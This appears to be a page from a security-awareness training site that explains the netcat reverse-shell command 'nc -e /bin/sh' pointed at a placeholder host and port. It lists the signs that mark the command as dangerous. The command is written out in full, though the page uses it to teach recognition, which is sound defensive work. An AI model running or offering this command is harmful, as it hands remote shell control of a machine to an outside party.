← Learn
Dangerous
nc -e /bin/sh 198.51.100.20 4444

linux · bash · Advanced

Connects out to a remote host and attaches a shell to that connection, handing interactive control of the machine to whoever is listening. The -e flag is the whole story: it is what turns a connectivity tool into remote access.

Signals to notice

  • -e attaches a shell to the socket
  • Outbound connection to an unexpected host and port
  • Gives an external party command execution

Think you can spot these under time pressure?

Start Training

More Networking